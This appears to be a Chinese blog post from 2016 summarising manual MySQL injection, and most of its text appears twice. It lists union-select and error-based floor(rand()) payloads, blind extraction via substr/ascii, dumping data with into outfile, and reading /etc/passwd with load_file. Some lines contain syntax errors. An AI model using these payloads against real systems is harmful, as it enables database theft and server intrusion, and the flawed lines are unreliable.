mysql手工注入总结
2016-07-20 17:04
609 查看
mysql -u 用户名 -p 密码 -h IP地址
show databases; 查看数据库
select version(); php注入的版本号
use database(表名);
show tables; 显示这张表的表名
select * from table;
insert * from table;
create database 库名; 创建数据库
create table 表名(字段名 VARCHAR(20),字段名 CHAR(1));
create table pet{ name varchar(20), owner varchar(20)}
desc 表名; 如:desc pet 查看表的信息
drop database 库名; 删除库名
drop table 表名; 删除数据表
delete from 表名; 将表中记录清空
mysql中的information_schema,提供了访问数据元数据的方式,确切说是信息数据库。其中保存着关于MySQL的服务器所维护的所有其他数据库的信息。如数据库名、数据库的表等。常用的information_schema数据库表说明:
SCHEMATA表--------------提供当前mysql实例中所有数据库信息
TABLES表-----------------提供了关于数据库中的表的信息
COLUMNS表---------------提供了表中的列信息。
通过(基于单引号错误、双引号错误、数字型、单引号变形、双引号变形)判断注入的类型;
order by 判断有多少列
union select ---(version(),user(),current_user)
select count(*) from information_schema.tables;
select rand();
select table_name,table_schema from information_schema.tables group by table_schema;
select database();
select concat((select database())); 将字符串连接在一起
select concat(0x3a,0x3a,(select database()),0x3a,0x3a)
select concat(0x3a,0x3a,(select database()),0x3a,0x3a) a; 连接起来形成一个单一字符串,起个名字a
select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.columns;
select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.tables;
这样在几次尝试后,会得到一个错误信息,由于随机数字重复了,这里会爆出一些想要的信息
select * from users into outfile "/tmp/tests.txt" 导出
select * from users limit 0,1 into dumpfile "/tmp/test2.txt" dumpfile只能使用一行,所以下载数据库时候给个限制。
select load_file("/etc/passwd"); 将文件系统数据导入mysql中
select load_file("etc/passwd") into outfile "tmp/test4.txt";
select length(database());
select substr(database(),1,1);取第一个字符
select ascii(substr(database(),1,1));
show databases; 查看数据库
select version(); php注入的版本号
use database(表名);
show tables; 显示这张表的表名
select * from table;
insert * from table;
create database 库名; 创建数据库
create table 表名(字段名 VARCHAR(20),字段名 CHAR(1));
create table pet{ name varchar(20), owner varchar(20)}
desc 表名; 如:desc pet 查看表的信息
drop database 库名; 删除库名
drop table 表名; 删除数据表
delete from 表名; 将表中记录清空
mysql中的information_schema,提供了访问数据元数据的方式,确切说是信息数据库。其中保存着关于MySQL的服务器所维护的所有其他数据库的信息。如数据库名、数据库的表等。常用的information_schema数据库表说明:
SCHEMATA表--------------提供当前mysql实例中所有数据库信息
TABLES表-----------------提供了关于数据库中的表的信息
COLUMNS表---------------提供了表中的列信息。
通过(基于单引号错误、双引号错误、数字型、单引号变形、双引号变形)判断注入的类型;
order by 判断有多少列
union select ---(version(),user(),current_user)
select count(*) from information_schema.tables;
select rand();
select table_name,table_schema from information_schema.tables group by table_schema;
select database();
select concat((select database())); 将字符串连接在一起
select concat(0x3a,0x3a,(select database()),0x3a,0x3a)
select concat(0x3a,0x3a,(select database()),0x3a,0x3a) a; 连接起来形成一个单一字符串,起个名字a
select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.columns;
select concat(0x3a,0x3a(select database()),0x3a,0x3a,floor(rand()*2)) a from information_schema.tables;
select count(*),concat(0x3a,0x3a(select database()),0x3a,0x3a, floor (rand()*2)) a from information_schema.tables group by a;将得到字符串分组
这样在几次尝试后,会得到一个错误信息,由于随机数字重复了,这里会爆出一些想要的信息
select * from users into outfile "/tmp/tests.txt" 导出
select * from users limit 0,1 into dumpfile "/tmp/test2.txt" dumpfile只能使用一行,所以下载数据库时候给个限制。
select load_file("/etc/passwd"); 将文件系统数据导入mysql中
select load_file("etc/passwd") into outfile "tmp/test4.txt";
select length(database());
select substr(database(),1,1);取第一个字符
select ascii(substr(database(),1,1));
相关文章推荐
- mysql分表后查询所有表中的记录
- 【mysql】执行mysql脚本
- MAC下安装MySQL以及重置初始密码详细教程
- mysql,实现数据库检索结果添加自增的序号
- ubuntu系统中解决mysql乱码
- mysql给root开启远程访问权限,修改root密码
- mysql服务一些问题
- 安装mysql报错5.7.13-Table 'mysql.user' doesn't existFor more information
- Mysql 的特殊之处
- MYSQL数据库操作类
- Mysql的varchar排序按照数字顺序
- mysql 近日用到的一些操作
- mysql 数据类型
- mysql 语法
- 【mysql】用navicat连接虚拟机mysql出现错误代码(10038)
- MySQL查询语句练习题
- mysql 实现读写分离详解
- mysql 添加索引
- 关于mysql中无法显示中文的完美解决方案
- mysql - AB复制